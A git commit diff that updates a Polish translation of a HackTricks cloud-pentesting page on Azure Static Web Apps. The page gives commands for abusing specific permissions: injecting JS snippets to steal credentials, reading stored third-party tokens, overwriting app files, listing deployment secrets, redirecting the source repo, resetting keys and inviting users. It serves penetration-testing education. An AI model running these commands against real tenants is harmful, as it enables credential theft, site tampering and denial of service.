mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+36
-30
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
|
||||
Aby uzyskać więcej informacji o tej usłudze, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@ Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Możliwe jest załadowanie dowolnego kodu HTML na statycznej stronie internetowej poprzez utworzenie fragmentu. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji internetowej i kradzież wrażliwych informacji, takich jak dane logowania lub klucze mnemoniczne (w portfelach web3).
|
||||
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML poprzez utworzenie snippet. To może pozwolić atakującemu na wstrzyknięcie kodu JS do web app i kradzież wrażliwych informacji, takich jak poświadczenia czy mnemonic keys (w web3 wallets).
|
||||
|
||||
Poniższe polecenie tworzy fragment, który zawsze będzie ładowany przez aplikację internetową::
|
||||
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez web app::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,22 +31,22 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich
|
||||
### Odczyt skonfigurowanych poświadczeń stron trzecich
|
||||
|
||||
Jak wyjaśniono w sekcji App Service:
|
||||
As explained in the App Service section:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego.
|
||||
Uruchamiając poniższe polecenie, można **odczytać poświadczenia stron trzecich** skonfigurowane na bieżącym koncie. Zauważ, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
|
||||
Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Oto kilka przykładów poleceń do sprawdzenia tokenów:
|
||||
Poniżej znajdują się przykłady poleceń do sprawdzenia tokenów:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
### Nadpisanie pliku - Nadpisanie tras, HTML, JS...
|
||||
|
||||
Możliwe jest **nadpisanie pliku w repozytorium Github** zawierającym aplikację przez Azure, mając **token Github**, wysyłając żądanie takie jak poniższe, które wskaże ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość o commicie.
|
||||
Jest możliwe **nadpisanie pliku w repozytorium Github** zawierającego aplikację poprzez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
|
||||
|
||||
Może to być wykorzystywane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwej zawartości (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowywania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
|
||||
To może być wykorzystane przez atakujących, aby de facto **zmienić zawartość aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, słów mnemonicznych...) lub po prostu **przekierować określone ścieżki** na ich własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób skompromitować repozytorium Github, mogą również bezpośrednio nadpisać plik z Github.
|
||||
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób przejąć repozytorium Github, mogą oni także nadpisać plik bezpośrednio z Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zmodyfikowanie hasła** chroniącego statyczną aplikację webową lub nawet usunięcie ochrony z każdego środowiska, wysyłając żądanie takie jak poniższe:
|
||||
Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takie jak poniższe:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
To uprawnienie pozwala na uzyskanie **tokena klucza API do wdrożenia** dla aplikacji statycznej:
|
||||
To uprawnienie pozwala pobrać **API key deployment token** dla aplikacji statycznej.
|
||||
|
||||
Używając az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Aby **zaktualizować aplikację za pomocą tokena**, możesz uruchomić następujące polecenie. Zauważ, że to polecenie zostało wyciągnięte z analizy **jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ponieważ jest to domyślne ustawienie Azure. Obraz i parametry mogą się zmienić w przyszłości.
|
||||
Korzystanie z AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Następnie, aby **zaktualizować aplikację używając tokena** możesz uruchomić następujące polecenie. Zwróć uwagę, że to polecenie zostało wyciągnięte poprzez sprawdzenie, jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy), ponieważ to właśnie ten, który Azure ustawił domyślnie do użycia. Zatem obraz i parametry mogą zmienić się w przyszłości.
|
||||
|
||||
> [!TIP]
|
||||
> Aby wdrożyć aplikację, możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub postępować zgodnie z następującymi krokami:
|
||||
> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać następujące kroki:
|
||||
|
||||
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub inne repozytorium, które chcesz wdrożyć) i uruchom `cd react-basic`.
|
||||
2. Zmień kod, który chcesz wdrożyć.
|
||||
3. Wdróż go, uruchamiając (pamiętaj, aby zmienić `<api-token>`):
|
||||
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i uruchom `cd react-basic`.
|
||||
2. Zmień kod, który chcesz wdrożyć
|
||||
3. Wdróż je uruchamiając (pamiętaj, aby zmienić `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Nawet jeśli masz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**. Aby użyć tokena, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API.
|
||||
> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Deployment Authorization Policy** jest ustawiona na **Github**. Aby użyć tokenu, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia i użyć tokenu API.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zmienienie źródła statycznej aplikacji webowej na inne repozytorium Github**, jednak nie zostanie to automatycznie zrealizowane, ponieważ musi to być zrobione z poziomu Github Action.
|
||||
Z tym uprawnieniem możliwe jest **zmienienie źródła static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie sprovisionowane, ponieważ musi to zostać wykonane z poziomu Github Action.
|
||||
|
||||
Jednakże, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**, możliwe jest **aktualizowanie aplikacji z nowego repozytorium źródłowego!**.
|
||||
Jednak jeśli **Deployment Authorization Policy** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**.
|
||||
|
||||
W przypadku, gdy **Polityka Autoryzacji Wdrożenia** nie jest ustawiona na Github, możesz ją zmienić za pomocą tego samego uprawnienia `Microsoft.Web/staticSites/write`.
|
||||
W przypadku gdy **Deployment Authorization Policy** nie jest ustawiona na Github, możesz ją zmienić przy użyciu tego samego uprawnienia `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -181,7 +187,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Przykładowa akcja Github do wdrożenia aplikacji:
|
||||
Przykładowy Github Action do wdrożenia aplikacji:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
@@ -244,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zresetowanie klucza API statycznej aplikacji webowej**, co może potencjalnie spowodować DoS dla procesów automatycznie wdrażających aplikację.
|
||||
Dzięki temu uprawnieniu możliwe jest **zresetować API key dla static web app**, co może potencjalnie DoSing workflows, które automatycznie deployują aplikację.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
To uprawnienie pozwala na **utworzenie zaproszenia dla użytkownika** do uzyskania dostępu do chronionych ścieżek wewnątrz statycznej aplikacji webowej z określoną rolą.
|
||||
To uprawnienie pozwala **utworzyć zaproszenie dla użytkownika**, aby uzyskał on dostęp do chronionych ścieżek wewnątrz static web app z określoną rolą.
|
||||
|
||||
Logowanie znajduje się w ścieżce takiej jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownik może być zaproszony za pomocą następującego polecenia:
|
||||
Logowanie znajduje się pod ścieżką taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zaprosić za pomocą następującego polecenia:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -266,12 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Domyślnie Pull Requests z gałęzi w tym samym repozytorium będą automatycznie kompilowane i budowane w środowisku staging. Może to być nadużywane przez atakującego z dostępem do zapisu w repozytorium, ale bez możliwości obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** w URL staging.
|
||||
Domyślnie Pull Requests z gałęzi w tym samym repo zostaną automatycznie skompilowane i zbudowane w środowisku staging. To może być wykorzystane przez atakującego mającego uprawnienia do zapisu w repo, ale niezdolnego do obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** pod adresem URL środowiska staging.
|
||||
|
||||
URL staging ma ten format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` jak: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że domyślnie zewnętrzne PR-y nie uruchomią workflow, chyba że połączą przynajmniej 1 PR z repozytorium. Atakujący mógłby wysłać ważny PR do repozytorium, a **następnie wysłać złośliwy PR** do repozytorium, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona, domyślna akcja Github do wdrażania w statycznej aplikacji webowej potrzebuje dostępu do sekretu zawierającego token wdrożeniowy (jak `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), nawet jeśli wdrożenie jest realizowane za pomocą IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego sekretu, a zewnętrzny PR nie może zmienić Workflow, aby umieścić tutaj dowolny token bez zaakceptowania PR, **ten atak naprawdę nie zadziała**.
|
||||
> Zauważ, że domyślnie external PRs nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR w repozytorium. Atakujący mógłby wysłać prawidłowy PR do repo, a następnie **wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje nieoczekiwana ochrona: domyślny Github Action do deployowania do static web app wymaga dostępu do secret zawierającego token deploy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli deploy jest wykonywany przy użyciu IDToken. Oznacza to, że ponieważ external PR nie będzie miał dostępu do tego secret i external PR nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user